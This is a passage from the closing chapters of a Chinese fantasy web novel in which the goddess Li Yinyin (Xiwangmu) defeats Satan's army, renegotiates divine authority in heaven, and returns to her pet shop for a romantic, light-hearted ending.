“这是女娲离开之前,用尽全部心力做的最后一批最精致的作品,带着女娲所有的期许和祝福。她将天界交给我的时候,告诉我,在她寂灭之后的某一天,一定会用到。没想到,是应在今天。” 李寅寅将手中的古神神格抛向那整齐排列的雕像,让他们自由寻找合意的身体。 这些雕像除了有祝福,还有约束:女娲之力的继承者,能够控制这些雕像化成的身体,避免被心怀叵测的神灵反噬。 很快,古神们就各自挑中了自己心仪的身体,一屋子无色的泥胎石塑动了起来,只是,这一屋子的人,放眼放去,相当的摩登原始人不是树叶就是动物皮毛、囫囵往身上一裹。 李寅寅实在看不下去,弄了一些资料,让她们参考东西方人类社会在数千年来的服饰进化,让她们自由发挥。 自然神和人格神果然对把自己弄好看有需求,很快便依着古神们自己的心意,幻化出颜色不同、款式各异的衣服。 风神最爱魏晋时期的宽袍大袖,风一吹,呼呼飘飘,看起来很有意思。 河伯最喜欢的居然是美人鱼装,好在他长相属于浓颜系帅哥,结实的胸肌和腹肌下面甩着银黑色的尾巴,还有那么一点魅惑。 羲和看中了路易十四时期的凡尔赛宫廷装,就是巨大的蓬蓬裙上画着花里胡哨的装饰的那种。 她的裙子上是一幅画,十只三足小金乌与羲和坐在汤谷的扶桑树上,十只小鸟乖乖地蹲在树枝上闭着眼睛睡觉,一勾新月斜斜挂在高高的天空,羲和温柔地看着她的十只小鸟崽。 李寅寅知道那是羲和心中最美好,也是最深刻的记忆,可惜,现在天上只剩下一个太阳。 那个太阳也完全没有了灵智,只知道按照轨道的机械运行,精确而稳定,世界各国的人都能算出每天日出日落的时间。 只是它再也不会看到羲和便开心激动,更不会扑到她的怀中。 日月有序,天道无情。 李寅寅知道羲和心中的失落,安慰她:“孩子长大了都这样,你好歹能看着它,人类的母亲也不得不面对孩子长大离开家,一年都不一定能见一面的情形。” “我明白。”羲和向李寅寅笑笑。 此时的张百忍率领的天庭大军与撒旦军的战斗已经进入白热化。 李寅寅眼睛微眯,她在西方大军之中没有找到那个黑色翅膀的堕天使:“路西法怎么不见了?” “他被我骗走了……”苏灵衣不好意思地笑道,“本来是骗,现在成真了。” 当李寅寅与莉莉丝亲切会谈的时候,苏灵衣觉得自己不能光坐在这里,什么事都不干,一定要做一些与李寅寅行为相配的事情。 于是,他去找了路西法,用尽花言巧语、真假掺半的技巧,把路西法说得对撒旦疑心大起。 苏灵衣说撒旦带来的莉莉丝其实不是最能生的,地狱里还藏着几千万个魅魔,正在疯狂下崽,她们不需要撒旦亲自播种,只要脑子里想着撒旦,就能怀上精神上百分之百臣服于撒旦的魔神。 她们的孩子大多数愚笨,但是当一百个小魔神互相吞噬之后,剩下的那一个会是最聪明最强壮的,其能力远在所罗门七十二魔神之上。 就这么一个“精神XX人”加上中式养蛊术,加上地狱确实有魅魔,且不少都与撒旦有一腿。 撒旦耗在这,就是要等他的子子孙孙做为他的眼睛和耳朵,占领地狱,等他们站稳脚跟,不管天堂能不能打下来,反正撒旦自己有后路可退,至于路西法回去还有没有地方住……那就说不准了。 苏灵衣还编排撒旦就是想自己独占伊甸园,所以才忽悠夏娃吃了智慧果,想让上帝把他们赶出去。 只是失算了,没想到上帝把它也顺手扔了出去。 路西法堕天的时候,亚当和夏娃还住在伊甸园,他对他们被赶走的详情并不十分清楚,不过这事,撒旦干出来也不奇怪,于是路西法信了。 在撒旦与他商量开展总攻的时候,他表面上答应会带领堕天使军团配合。 心里想着的却是苏灵衣说的话:“当他决定对天庭发动总攻的时候,说明地狱那里已经都是他的人了。如果胜利,他一定会仗着在地狱的战力,去争取比你多的在天庭的权益,如果失败,他可以回地狱,你该怎么办呢?” 猜疑心一旦产生,就根本停不下来。 何况是以傲慢之罪堕天的路西法。 再加上莉莉丝不见了,是被抓也好,是私奔也罢,都不重要,客观事实就是负责生产使魔的机器不见了。 谁知道是不是偷跑回地狱,加速生孩子,让撒旦的孩子更快遍布整个地狱。 …… 苏灵衣也想过把路西法忽悠回去,当他发现自己上当之后,一定会暴怒,自己想继续在人界过安宁太平的日子也许是不可能了。 没想到,李寅寅把莉莉丝给哄回去了。 现在,谎言变成了真相,就算地狱那边打出狗脑,也怪不到他头上了。 撒旦军团这边失去了足够数量的使魔,又失去了强有力的盟友路西法,勉强与失去神格数百年的天神们打了个平手。 撒旦咆哮:“进攻!在成魔纪念日之前攻下天庭!” 忽然,在天神们的身后,出现了数十个高大的身影,她们衣着怪异,古今中外都有,共同之处就是拥有强大的威压。 “别怕!冲!她们再强,也不可能把你们这么多都杀光!”撒旦指挥着已经心生怯意的使魔向上冲。 使魔,在魔王的催逼下一窝蜂向前涌,接着,他们就看见一个穿着金色大蓬蓬裙的女人,向它们伸开双臂。 从她的身上散发出比太阳更耀眼的光芒,将以黑暗之力为能源的使魔燃烧殆尽。 一场酣畅淋漓的“割草”,虽然它们在地狱军中的力量占比最小,但是视觉效果相当惊人,有效提升己方士气,并对撒旦一方造成了巨大的压力。 由人心之中的恶念加持的地狱魔,也会受到人性中软弱部分影响,对强大力量的恐惧,是刻在人类DNA里、用来与“不怕死的好奇”互相制衡的烙印。 它们也会怕,当风神将所罗门七十二魔神中的二十几个吹进流放之地后,它们的恐惧也随之升级。 眼看战局几乎是一面倒地倾向于东方天庭,张百忍麾下众神心生喜悦,只有李寅寅和苏灵衣的表情没有那么轻松。 撒旦军团和所罗门魔神都是精神体,皆来自于人类心中的欲望与恶念。 只要人类心中有这些,就永远也消灭不了他们。 耗费再多法力,也只能暂时将他们打散而已,终会卷土重来。 流放之地也收不下这么多法力强大的魔神,如果他们冲破禁制全跑出来,反而会造成巨大的灾难。 一向热爱斩草除根的李寅寅,头一回遇到杀不死,关不住的麻烦事。 “其实,还有一个解决办法,就是不知道他们愿不愿意来……”苏灵衣轻声说,“我与米迦勒也谈过……” “啊?你们什么时候勾搭上的?”李寅寅很惊讶。 “就是……你那次连续好多天去教堂,我……我想知道为什么你愿意跟这些天使说这么久的话,就……” 苏灵衣哼唧半天才吐出一句:“我想跟他们学习一下说话的技巧和艺术。” 那段时间,苏灵衣越来越觉得李寅寅就是西王母,但是又无法确定,他想弄明白,又怕不是,想推进关系,又怕过犹不及,整天患得患失,生怕被厌恶,整只狐都处于焦虑之中。 他的心里只有李寅寅,米迦勒心里只有干翻地狱。 两人虽然有点鸡同鸭讲,不过也让他得到了不少有用信息,包括怎么快速召唤天使,天堂跟地狱是什么关系,天堂想要得到的是什么…… “天堂与地狱的关系像光与影,天堂无法把地狱完全抹杀,他们也需要人类对地狱的恐惧获得更多的信仰,所以,我想让米迦勒过来把撒旦带走……驱虎吞狼,你看怎么样?” “只怕虎吞了狼,还没饱。”李寅寅摇头,天使军团召唤过来容易,送走就不好说了。 如果是像古代那样借外国的兵攻回自己国家的几次操作,不是放任异族在自己地盘上嚣张,就是当了儿皇帝,任异族摆布。 李寅寅思忖片刻道:“不能直接叫他们替我们打,最多进来几个代表过来引渡。” “嗯。” 撒旦军团其余魔神或是落入流放之地,或是被打散,想再聚起来,起码得过几百年。 现在只剩下撒旦一个了。 他根本没在怕的,他本是神使,是奉神的命令对人类进行考验。 只不过不巧,人类什么都能经得住,就是经不住诱惑。 由于受到诱惑而堕落的人们,自然会怪到施放诱惑的蛇身上。 年复一年,无数人坚定地相信这一点,连着撒旦的身份也彻底变成了恶的象征。 无论是善还是恶,神使的力量始终没有从他身上被剥夺,他不相信东方天庭这些神能把他怎么样。 失去人类信仰之力的自然神最多跟他打个平手,甚至无法将他驱逐。 撒旦化为原形,一条盘起来几乎比灵霄宝殿还要大的红色巨蟒,他昂着头,随意拍了拍尾巴,天庭的地面就好像地震一般颤抖,灵霄宝殿的柱子出现裂纹。 一条分叉的舌头“嘶嘶”不停,那双黄色的竖瞳里满是轻蔑:“蛇才是最伟大的种族,你们东方那个半人半蛇的神已经寂灭,你们不如臣服于我,由我带领你们占领整个世界。” 李寅寅没有回答,她向前踏出一步,T恤牛仔的打扮,忽然变成了面带青铜兽首面罩,头戴玉质发饰,长发过膝,身穿丝质长袍的打袍,一个红色的球体虚影在她的右掌之中不断旋转。 球体周围环绕着黑色的气体和紫色的电光。 她再向前走一步,撒旦露出冷笑:“就凭这点雷电,你也想与我斗?” 红色球体向天上飞去,罩在撒旦的头顶,忽然,它不断涨大,比撒旦的本身还要大,黑气与紫电从球体落下,将撒旦完全罩住。 在那周围的天兵天将也感受到了强大的压力,不断后退,直退到张百忍等诸天神身后,以他们的法力为屏,寻常天兵才能稍稍松一口气。 苏灵衣望着那个不断旋转的红球,喃喃道:“好久不见了。” 西王母,司天之厉及五残,天之厉,即为灾疫,五残便是刀兵。 与司掌天下兵马与锋刃的西白虎神权相近,却是同类神格之中至高的存在。 当五残星出,瘴疠气散开,被罩住的即使是神明,也难逃涅槃,何况撒旦这么一条古蛇。 很快,不可一世的撒旦就俯下身子,不断变大又缩小,企图从黑气与紫电之中逃离,但是无论是大还是小,红色的球始终罩在他的身上,让他无法逃离。 “我知道我弄不死你,你长生不老是吗,那就永远活在这痛苦之中吧。”李寅寅的声音在撒旦听来,比天使还要可怕,天使比她正常多了,天使只想把他赶回地狱而已!她居然想扣着自己,一直虐蛇。 撒旦当恶魔那么多年,第一次对天使之外的神明产生“恐惧”。 然后,他听见了天使的声音,他从未觉得米迦勒的声音是那样的温柔:“请大神饶他一命,把他交给我带走。” 第98章 大结局 第98章 大结局 战败、交涉、带人,这一连串的玩法,不管是在神界还是人界,都是常规操作,但是,败者跟谁交涉,带人又是从谁的手上带,这是严肃的外交问题。 就算是鬼子投降,也得是找当时的正统政权,否则就算“拒不投降”,可以就地击毙。 按理说,此时的正统是张百忍,米迦勒应该与张百忍及其代表谈。 但是米迦勒不这么想,让路西法撒旦联军分裂并内讧的是李寅寅,李寅寅并不属于张百忍的手下,甚至在中华神族的谱系上排名靠前。 除非李寅寅亲自开口,否则,怎么也不能向张百忍交涉。 张百忍虽然在帝俊来袭后失了权,但在他心中,他只是暂时迁都而已,至于李寅寅,最多算退休老干部做社区义工,发挥余热,她想回来重掌大权,那是绝对不可能的。 不愿意归不愿意,现在的形势已经轮不到他愿不愿意了。 压制联军的是古神,米迦勒又是被李寅寅身边那只狐狸叫来的,不知道是不是偷偷定了什么盟约。 按照张百忍的想法,最多把李寅寅从退休老干部状态变成返聘资深顾问,享受各种礼遇,但是顾问么,就是我问你,你再开口,你想自己多说点什么,也没有问题,但是你说的,我可以不做。 他非常希望李寅寅能像人类给她现在的定位一样,老老实实以配偶神的身份待着,最多管管男神女神谈恋爱,不要多管闲事。 如果持有这个信念的人类信徒很多,李寅寅的神格确实是会受到影响,并做出对应修正,但是,已经没有什么人会专门拜西王母了,去道观里,除了主殿里的三清,玉皇殿里的玉皇,就是财神、文昌、送子娘娘等等职责明确,并且与现代人利益休戚相关的神香火最旺。 其他诸神,除了特别虔诚,应拜尽拜,一个不漏的信徒之外,基本上都被做为“中国雕塑风格”样本,看一看就完事。 所以,李寅寅的思想,完全是她自己的,源自于她诞生时的权柄。 在与米迦勒谈判之前,李寅寅和张百忍先进行内部谈判。 “放心,我不跟你抢你原有的那部分,我只想要回我的神权。” 西王母始于宇宙太阴之气,司天之厉及五残,掌握不死药,生、死、灾疫、战争,都是她的管辖范围。 人类常说“除了生死无大事”,她手中把这两件大事都握住了。 张百忍的脸色非常不好看。 李寅寅安慰他:“现在的人更看重活着的时候活得好不好,为了一回期末考试考不好,都有跳楼自杀的,也有公司倒闭还不上房贷就吃药跳河的,还有失恋割腕的……我只能管管自然死亡,管不了这种自我了结。 我保证,财神、文昌、月老的职权我都不要,你一点都不亏。 还有,既然人类觉得我应该司掌天庭内部事务,那我也不应该让他们失望,蟠桃园、天河,还有各位神仙在天庭与亲缘相关的事务协调,都由我来负责处理。 广寒宫也是太阴气所聚,我就受点累,一并管了。 太阳我不管,不过,羲和是太阳星君的生母,再怎么说,也不以断了他们母子亲缘,否则,天庭如何做天下孝道的表率。 还有河伯……” 李寅寅一件一件的数下来,把她自己的神权和被她带来的古神神权都铺开。 天庭职权俨然是三七开,七成是她的。 现在张百忍也没什么拒绝的底气,他并不知道李寅寅为了夺权能做到哪一步。 只知道她可不是娇滴滴的女王,有的是力气和手段。 就算没有米迦勒,他手下的神将也打不过李寅寅手下的古神们。 识时务者,为俊杰。 谈判的结果是张百忍对李寅寅的要求全盘接受。 其余众神对此没有什么意见,反正在谁手底下当差不是当呢。 米迦勒带走了撒旦,付出的代价是全球有华人的地方,就等于是李寅寅的传送点,不需要向天堂告知并征求同意,她可以直接去。 李寅寅在天庭待的时间稍久了一些,重新看了一遍所有岗位的职责并规划了要求,尽量把一个岗位的上下游环节都安排成自己人,避免扯皮撕逼。 连考核标准都制定好了。 能得到香火的人格神是一种考核法,司掌自然的自然神又是另一种考核法。 从流放之地出来的古神也争取到了自己神权的执行范围。 她们是与李寅寅一起打退了撒旦联军的功臣,张百忍那边的人虽然不甘心,但也只能退让。 只有曾经的西海海神弇兹没有任何动作。 别的古神是被迫失去了神权,不是被抢走,就是被人类的思想强行降格成了配偶神。 只有她是自己不想干了,主动让出权柄。 她走的时候,西海一片荒芜,现在青海湖也好,赛里木湖也好,门票价格都涨到飞起。 她没有脸向李寅寅讨回西海的管辖权。 但是总这么着无所事事也不是办法,没有神格的神,只能到处蹭饭吃,居无定所,还不如在流放之地过得安稳。 弇兹内心很痛苦,但也没法跟其他神明提起。 新型考核办法出了之后,第一个受到奖励的居然是青龙星天里司掌风雨和生发的几位星宿,往年只有在二月二的时候,人类才会想起他,也就想那么一回。 他们也没干什么特别的,就是人类在治理塔克拉马干沙漠的时候,稍微帮了点忙,保障风调雨顺,如今塔克拉马干沙漠被绿带合围不说,还开始养殖珍珠和海鲜并获得成功。 养出珍珠的这块地方,李寅寅毫不客气的把它算进了西海的领域,她叫来了弇兹:“如果你还愿意做西海的海神,我可以把神格交给你。” “我?真的可以吗?”弇兹不敢相信,当初自己像甩掉烫手山芋那样扔掉了西海海神的职权。现在西海所在的领域或是旅游胜地,或是国家重点关注项目,就这么重新给她? “你不是没有能力,只是想找个依靠,不想自己负责而已,现在你已经知道依靠别人是靠不住的了,还会像以前那样吗?” 吃一堑长一智,随手把权柄让出的事情,不会再发生了。 青龙得到了额外加赏,弇兹重得西海神权。 让自然神认识到跟着李寅寅有好处之外,她对自己相关的人格神的职权也进行了微调,并想办法给几个与自己关系密切的人格神送了一些业绩。 “她她她!她在天庭搞收买人心这套把戏!”张百忍知道以后,很不高兴。 不高兴归不高兴,下面的神仙们很高兴。 天庭阶级固化多年,那些曾经神权在握的老神,刚刚飞升的新神,都迫切想要干点什么。 他们期望李寅寅能带头做点什么,张百忍也在等着李寅寅带头做点什么。 先动手的就是理亏。 双方都坚持不开第一枪。 达成了势均力敌的奇妙平衡。 天庭与人间之间的精神体传输通道再一次开启,那些常年在天上待着,不知人间疾苦的神仙被派下来轮回做人,不过他们身份高贵,投胎也给投的是好人家。 人间疾苦知道了一些,不多。 赤脚大仙转世在虎虎宠物店附近的高档小区,他和朋友一起去宠物店看小兔子,李寅寅听见他建议别人去考律师证:“当公务员有什么好,我认识一个人,不是科班毕业的,辞了公职,考了个律师证,一年挣四百多万呢!” 李寅寅都好奇了:“他辞职之前是什么身份?他爸妈呢?” 赤脚大仙非常自然地说:“没什么身份,就是在海关工作,他妈也就是一个海关的普通关长,他爸就是普通的国税……真的,考一个吧,律师证又不难。” 类似的事情发生过不少次,李寅寅开始还会说两句,后面也懒得说了。 晋惠帝也就是生得太早,不然他会发现,这个世界上有很多款式的“何不食肉糜”,要嘲也轮不到他先被嘲。 “欢迎光临!”两只玄凤终于达到了普通话一级甲等的水平,昂首挺胸,一左一右站在门头边。 进来的是牵着大金毛小多的何甜,当初这个被母亲的完美主义逼到精神狂躁的少女,如今已经顺利大学毕业,成功入职娄金狗曾经工作过的那家大型互联网公司。 为了方便工作,她在公司旁边租了一套房子,和小多生活在里面。 工作压力是有的,但是,她的精神状态很好。 “你们公司不是离这有一个多小时吗,旁边没有宠物店吗,还要专门带到我这里来洗澡?”李寅寅开玩笑。 何甜笑道:“有钱给你赚还不好?” 她轻声说:“如果不是你给我的信念,我早就支撑不住了。你那个时候跟我说,有钱可以解决人间99%的烦恼,搬出去住可以解决与家人之间99%的烦恼,你说的太对了。 以前我妈总说,她是为我好,等我将来到社会上,就知道外面的人有多坏了。 现在我感觉到,我上司给我的那些压力,居然还没有我妈给我的一半。我同事都觉得我是不是暗恋他,哈哈哈。” 娄金狗当年四处交际,人又热心,跟谁关系都不错,何甜做为被她内推进去的朋友,也继承了娄金狗的人际关系遗产,哪怕开车一个小时,也要专门来虎虎宠物店洗狗。 有人欢喜有人愁,小野猪朱长乐烦的要命,他的同族疯狂生孩子,野猪满街蹿,撞伤人不说,还蹿进了火车轨道,导致重大事故,本来野猪就已经被移出了“三有名录”,现在直接剧情飞奔到了取消保护、悬赏捕杀、打野猪不需要狩猎证,以及国家出台了《野猪等陆生野生动物致害防控工作方案》。 朱长乐看到这份方案,在李寅寅这边哭了好久,担心自己的同族要被人类杀光了。 “放心,杀不光的,野猪没有被阉过,肉不好吃,人类不会喜欢的。还有啊,虽然说打野猪不需要狩猎证,但是在中国是禁枪的,城里的普通人类连家猪都杀不死,何况是野猪。你让你的族人收敛一点,克制一下生育的冲动,真要是再闹出让人死亡的大事,打猎队拉网式上山杀猪都是有可能的。” 朱长乐被吓得眼泪直流:“他们要是不听,那可怎么办啊。” “良言难劝该死的鬼,不听就进轮回呗,往好处想,现在人类说生育率低,他们说不定能当人呢。” 朱长乐嘀咕:“又蠢又倔又好吃懒做,当人也得不了好。” “没什么不好的,应该有很多人愿意跟他们进入同一场竞争,他们可以衬托出别人的好,也算是有优点。” 朱长乐抓抓脑袋:“啊?这也算啊?” “必须算!”李寅寅斩钉截铁。 心月狐是二十八宿中唯一留在人间的一个,原因无它,她企图发SCI,失败。 重新跟了一个项目,跟了半拉,导师跑了。 再开新项目,论文被人偷走吃了。 又开新项目,论文直接不孕不育。 …… 当她的论文第N次夭折,她一怒之下决定去考个德国的博士,这样毕不了业就不能怪她了。 真让她考上了,韩文静和田螺姑娘和她一起考的,三人被同一学校录取。 已经快乐的商量好要怎么一起租房子,一起学习。 今天她和田螺姑娘一起到宠物店来,想找冯墨打听一下正宗老德国正黑旗的人有哪些讲究和规矩。 见冯墨还没回来,田螺姑娘已经卷起袖子开始干活。 “他还在盯着那个傻女人?”心月狐不理解,她搞男女关系,要么是双向奔赴的爱,要么是为了权和钱,哪有人飞蛾扑火一样的自我感动。 李寅寅把茶放在她面前:“咱们要尊重,不然呢,你把她们拆散之后,你替她嫁过去么?” “她要是能用我的名字发论文,我可以考虑……” 李寅寅笑着望向她:“你看,你不也有自己的执念嘛,明明随时都能回天庭当神仙,这个论文发不发,对你的未来一丁点影响都没有,天上那些神仙都在忙自己的,你发成了,他们不觉得你很厉害,你发不成,他们也不会嘲笑你,你不也在跟自己较劲。” “嗐,你说得没错,不甘心而已。” 香港的黄老太爷本来想把黄少芸接回去,但是黄少芸不想回去,说了几次,她都找一堆理由拖着。 最后一个理由是她要辅导乐乐功课,保乐乐考上北大。 这下连李寅寅都震惊了:“你知道乐乐的水平吧?” “知道!”黄少芸自信满满。 李寅寅又提醒她:“你知道乐乐的户口,是在河南吧?” “河南怎么了?河南一样有人考上北大!!!总比青海好,才录取60个人,河南都有420呢!” 李寅寅:“……你要不看看,河南一共有多少人参加高考呢?” 黄少芸看了,用力揉了揉眼睛,再仔细看看,又想了想:“我可以把理由改成保证乐乐考上211吗?” “……你看不起211??” “不是不是,”黄少芸拿出历年录取分数线,指着最低的那一个给李寅寅看:“新疆,石河子大学!很容易考的!” 李寅寅摇头:“你还是放过乐乐吧,我觉得他还是在我的店里上班比较有前途。” “麻烦让让……”薛姗的声音从门口传来,两个搬运工人抬着一个高大的纸箱进来,打了木架子,还垫了防震气柱。 薛姗指挥着工人把纸箱放到指定位置,开始拆。 拆了木架,撕了气柱,打开纸箱,扒开干草,再打开一层绵纸,露出一尊神像——西王母像。 西王母留着黑长直发型,笑得非常灿烂,露出一颗小虎牙,身后扬着豹尾。 在她的宝座上站着三只传信青鸟,左边的扶手上趴着拿着灵芝的玉兔,右边的扶手上蹲着蟾蜍,宝座之下盘着蛇,一只狗伸着鼻子去闻它。 西王母的膝上蹲着九尾狐,怀里抱着一只猫。 有客人问道:“这是宠物店之神吗?” “是西王母,管长生不老、让桃子好吃、流感季节不生病,还是守护猫猫的神。”说最后一句的时候,薛姗得意非凡。 最近薛姗打败了本市那些靠大数据和瞎猜成为宠物沟通师的竞争对手,方法很简单,她找了几个宠物博主大V,搞了一个比赛。 随机挑选宠物主人来问事情,不要讲那些凭猫的种类和习性,以及提前加宠物主人的朋友圈就能蒙对的内容,而是让宠物主人直接把事情真假掺半着问。 比如“昨天我放在桌子上的金项链去哪里了,小白和小灰有没有看到。” 金项链是否存在都难说,沟通师根本无法押题。 薛姗是真有本事,十战皆胜,让虎虎宠物店立时扬名。 后面又来了不少人不信邪要挑战,薛姗敞开三天任人挑战,唯一的要求是必须全程直播,免得她说对了,对方也非得说她是错的。 乐乐放学回来,看见西王母像上没有仓鼠,疑心自己要被这个家赶出去了,放声大哭。 苏灵衣告诉他:“是因为你没有写完作业,等你写完,再好好睡觉,昨天不需要少芸姐姐拉你,你就能自己准时起来,你就会在上面了。” “真的吗?” “我保证!”苏灵衣微笑。 第二天一早,在西王母像的肩头出现了一只仓鼠,闭着眼睛,歪着身子,用圆滚滚的脸去蹭西王母的脸颊。 在西王母的另一侧肩头,坐着一只黄鼠狼,乖乖地蹲坐在那里,手里拿着一本书,书名《人类的自我修养》 “哇!!!”乐乐的眼睛都亮了,扑过去嘿嘿笑,黄少芸又惊又喜:“还有我!还有我!” “你也是我们的一员呀。” “哦哦哦~~~”乐乐欢喜地跑来跑去,被黄少芸拖出去上学了。 苏灵衣微笑着目送她们,忽然肩上被一只手拍了一下,李寅寅笑道:“你自己呢?怎么没有你?” “太多太杂,不好看了。”苏灵衣摇摇头,“能在你心里就好。” 李寅寅伸手点了点他的鼻子:“笨蛋,我身边怎么会有你这么一个不争不抢的傻子。给你三分钟,在不影响整体构图的情况下,把你自己加上去,你把自己的像放在哪里,就代表你希望我应该把你放在什么地位,想清楚了再放。” 不加最后一句,苏灵衣可能会抖机灵,把藏狐像放到旁边。 说完,李寅寅就走开了,只留下了哭笑不得的苏灵衣。 “只给他三分钟,万一他没有想好怎么办?”介老头坐在桌前,枯如柴禾一般的双手十分灵巧地摆弄着一个黑球。 李寅寅在他身边坐下,眼睛盯着球:“他一定能想好的,如果没有,他也会给自己想个理由。” 介老头嘿嘿一笑,抬头看了她一眼:“哪怕他的理由再不上台面,你也会在心里替他圆过去的,对不对?” “……你这球真圆,不愧是玄武出品,必属精品。”李寅寅伸手想去拿。 “急什么,还没好呢……”介老头,北方玄武星天之主,执明星君。 1840年,天使军攻过来的第一波攻击就是他扛下来的。 后来他才知道帝俊对西王母做的事,他不耻于帝俊趁火打劫的举动,又无力反抗,便挂印而去,将神格扔在了玄武星空,自己反下人间。 玄武七宿本来也松散得很,执明走后,七宿中有四个留在了玄武星空混日子,还有三个趁着天庭一片混乱,也跑去人间,自由玩耍。 如今李寅寅收束各方势力,算得上是天庭的头号大股东,还定了许多考核指标,要是再不回去,完不成工作,只怕玄武星天要被除名,到时候神格法力全都没有,他就成了一只普通兽类,不断入轮回,命运被天道安排。 所以,介老头和在地上的三个玄武星宿决定回去,反正他与紫微星关系很铁,在天上,也没谁能拿他怎么样。 随着最后一声“卡”,介老头将黑色小球递给李寅寅:“好了,试试。” 李寅寅接过小球,球体触手生温,如玉石一般的光润,她莞尔一笑:“谢谢。” 介老头清了清嗓子:“大恩不言谢。” 李寅寅:“……这话似乎不应该是你说。” “你不是没说吗,怕你忘了,提醒一下。接了我的如意玄武甲,就算我已经为天庭出力了,有麻烦事请安排其他神先上,有好事先叫我们。” 李寅寅笑道:“哎,还得是你啊,四宿里资格最老,论交际圈,你最广,虽然不能打,但是别人也打不动你……只要够强,就不用考虑高情商对话,直接说诉求就行了,我还得夸你一句真性情。” “不用夸,要是想骂我,等我走了再说。”介老头摆摆手,“你就说,答不答应吧。” “行,没问题。”李寅寅笑道。 半透明状的介老头站起身,他向李寅寅行了一个礼,便向天空飞去。 原本那个枯瘦干瘪的小老头身体已经靠在椅背上,平平静静地断了气息。 李寅寅愣了三秒,对天空大喊:“什么素质啊!你走的时候就不能顺便给抛尸了啊。” 朗朗晴空传来一个声音:“垃圾分类,太难啦~~~” “……” 李寅寅抓着介老头的人间遗蜕闪现到中印争议地区,随手把他的身体扔到印度实控区,然后找到边境缉毒部门,以某特种材料公司的名义,将如意玄武甲变成轻型全身防弹装甲的模样,捐给毕月乌曾经的同事们。 这是毕月乌回到天庭履职前最放不下的心愿,一步三回头,差点误了时辰,李寅寅向他保证,自己一定会尽量照顾他们,毕月乌这才恋恋不舍地离开。 杜宾心情很不好,他以为自己又失去了一个主人,直到李寅寅过来,他的心情才好起来。 李寅寅将他介绍给苑雪:“要是有案子,苑雪负责当诱饵,你负责捕猎。我记得涉及毒品的案子,是可以钓鱼的对吧。” “好啊好啊!”苑雪自从知道李寅寅是西王母,为自己认识如此牛逼的大神而欢欣鼓舞,一心想证明自己的价值。 她的庙自从修好之后,她又使了点手段,展现了几个奇迹,一时之间,客似云来,最远的香客甚至是从东北来的,说自己是做生意的,捐了一大笔香火钱。 苑雪感觉其中有些人,不是做正道的,一裹脑的把她感觉到身上有凶煞气和血气的香客全都卖给杜宾了:“哥,我这不看法院的通报,就听你的!你说他们谁有罪,我就把他们的福气全转到别人身上!” “好嘞!”杜宾与他一拍即合。 此后,苑雪与杜宾就这么开展起了,把罪犯的福气随机送给来寺庙的普通人。 来过寺庙的普通人运气好了起来。 罪犯的运气暴跌,连续几条隐秘的运毒路线被警方截断。 苑雪寺庙的香火越发的好了,并且越传越神,据说有人好好的在路上走着,就因为打了个喷嚏,被背对着他的便衣警察听见,觉得声音耳熟,然后……就再也没回得了家。 杜宾:“听出犯人的声音不是正常的吗?还需要菩萨帮忙?” 从此,关于本地的谣言,又多了一条:“有个人因为在路上打了个喷嚏,被枪毙了。” 李寅寅再次瞬移回宠物店,刚好三分钟。 她背着手,去检查苏灵衣的成果。 西王母像上小动物很多,就是没有藏狐。 “你不要告诉我,你把自己放在我的心里了。”李寅寅伸出手指,戳了戳雕像的心脏,以苏灵衣的狡诈,她绝对相信这事他干得出来。 苏灵衣略带几分得意地扬起了嘴角,脸上却摆出一副痛心疾首的表情:“我认真想了这么久,你都不愿意好好看一眼吗?你是不是已经厌烦我了,对我的耐心也消耗光了?” 李寅寅伸手捏住他的下巴:“好好的,为什么要放弃你的优势狐媚赛道,当没有前途的小绿茶。” 她的眼睛在王母像上转了一圈,终于发现了一丁点的改变:在王母的袖子里,探出了一只小藏狐的半张脸和一小截尾巴尖。 虽然不能看到全貌,但是能够感觉出,这只小藏狐是以一个非常慵懒放松的姿势躺在王母的袖子里,好像睡惯了这里,这里就是他的家。 全然不似其他动物那样,或是像守卫,或是像客人,或是像家仆,就连躺在怀里的猫与藏狐一比,都像是刻意着急讨好献媚的模样。 “太心机了。”李寅寅笑着摇摇头,“小心薛姗回来看见打你。” “那你呢?”苏灵衣突然问道,脸上带着笑,眼神却十分认真,带着几分忐忑等待着答案。 “我?” “你会觉得,放在这里,会不会显得太……僭越了……”苏灵衣小心翼翼地将“亲密”两个字咽回去。 “怎么会。”李寅寅伸手揽住他的腰,“我觉得做为放在公开场合的雕像这样刚刚好,我想对你做的,不适合公开展示。” 她轻轻在苏灵衣耳边低语:“我爱你,你在哪里,都可以。” 哪怕是做过了最亲密的事,却依旧心里不安的苏灵衣,终于得到了心中最至高无上神明的回应,他心跳极快,转过头,像偷腥的小狐狸那样,飞快的在李寅寅的唇角亲吻了一下,好像这样就是盖下了承诺的印章。 “你都成年了,怎么还这么小家子气!”李寅寅强硬地将苏灵衣的脸扳过来,用力吻了下去。 天空中一轮暖阳高悬,金色阳光照在熙熙攘攘的大街上,往来行人享受着冬日里难得的温暖。 一只站在墙头上的白猫像踮着脚尖似的,优雅而无声地向一只站在草丛里,自己叼着绳的德国牧羊犬走去,忽然它扑向牧羊犬。 一猫一狗滚在一起,将枯草扬起又落下。 李寅寅和苏灵衣满面笑容,接待着趁着午休进来的第一批客人。 一位独自在这个城市打拼工作的内向女孩子,看了许久,也没有挑中想要的,她不知所措的站在宠物笼边。 “你好。”李寅寅热情地打招呼,“想要养哪种宝宝?” “我……我不知道……我想养粘人一点,但是又不太粘人的……”女孩子觉得自己的要求太强人所难,说话都结结巴巴。 李寅寅马上懂了:“你是不是平时工作很忙,经常加班,或者经常出差?” “嗯……我这样的,是不是不适合养宠物呀?”女孩子弱弱地问。 李寅寅摇头:“不会,如果你经常出差的话,我们这里也提供寄养服务,就当它回娘家住几天喽。” 被李寅寅三两句话一说,她便下定决心挑了一只小狗回家。 晚上,当她开门回家,忽然听见一向空荡荡的出租屋里,传来一阵急促的脚步声,那只白色的小胖狗叼着她的拖鞋急速向她奔来,一不小心踩在拖鞋上,还摔了一脚,在地板上滑出好远,直到她面前才倒下。 女孩子忍不住笑出声,看见小白狗委屈欲哭的表情,她又赶紧道歉:“对不起对不起,我不是故意嘲笑你的。” 一天的疲惫与辛劳,在小白狗撒娇卖萌中烟消云散。 夜色中,虎虎宠物店的灯牌将周围晕染出一片温暖的暖黄。